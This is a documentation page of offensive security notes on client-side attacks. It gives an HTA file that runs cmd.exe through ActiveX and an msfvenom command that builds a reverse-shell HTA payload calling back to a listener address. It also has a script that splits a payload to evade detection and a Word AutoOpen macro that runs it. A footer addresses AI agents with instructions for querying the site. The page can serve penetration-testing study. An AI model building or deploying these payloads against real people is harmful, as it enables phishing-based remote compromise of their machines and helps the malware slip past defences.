> For the complete documentation index, see [llms.txt](https://sec88.0x88.online/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sec88.0x88.online/network-sec/client-side-attacks.md).

# Client Side Attacks

## Enumeration

* **Passive Enumeration:**
  * Identify the victim's browser.
* **Active Enumeration:**
  * **Social Engineering:**
    * Craft messages or scenarios to manipulate users into revealing sensitive information or performing actions.

## Leveraging HTML Apps

* **Tool:** [**fingerprintjs2**](https://github.com/LukasDrgon/fingerprintjs2)
  * A JavaScript library to uniquely identify a browser based on its features.
* **HTA Attack:**
  * Create an HTA (HTML Application) to execute malicious scripts.
    * Example HTA file (`file.hta`):

      ```html
      <!DOCTYPE html>
      <html>
      <head>
          <script>
          var x='cmd.exe'
          new ActiveXObject('WScript.shell').Run(x);
          </script>
      </head>
      <body>
          <script> self.close() </script> 
      </body>
      </html>
      ```
    * Copy the HTA file to a web server:

      ```bash
      sudo cp file.hta /var/www/html/file2.hta
      ```
    * Generate an HTA payload with msfvenom:

      ```bash
      sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.114.134 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
      ```

## Exploiting Microsoft Office

* **Word Macro:**
  * Split the payload to evade detection.

    ```python
    str="" # payload from msfvenom
    n=50
    for i in range(0,len(str),n):
        print "str = Str +" + '"' + str[i:i+n] + '"'
    ```
  * Add the split payload to a Word Macro (`document.docm`).

    ```vba
    Sub AutoOpen()
        test1
    End Sub

    Sub Doc_Open()
        test1
    End Sub

    Sub test1()
        Dim Str As String
        ' Add the splitted payload here
        CreateObject("Wscript.shell").Run Str
    End Sub
    ```
* **Object Linking and Embedding (OLE):**
  * Create an evil batch file (`evil.bat`).
  * Create a link object in the Word document (`document.docm`).

#### Resources:

* [fingerprintjs2 GitHub Repository](https://github.com/LukasDrgon/fingerprintjs2)
* [Metasploit Framework (msfvenom)](https://www.metasploitunleashed.com/msfvenom/)
* [Microsoft VBA Programming](https://docs.microsoft.com/en-us/office/vba/api/overview/)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sec88.0x88.online/network-sec/client-side-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
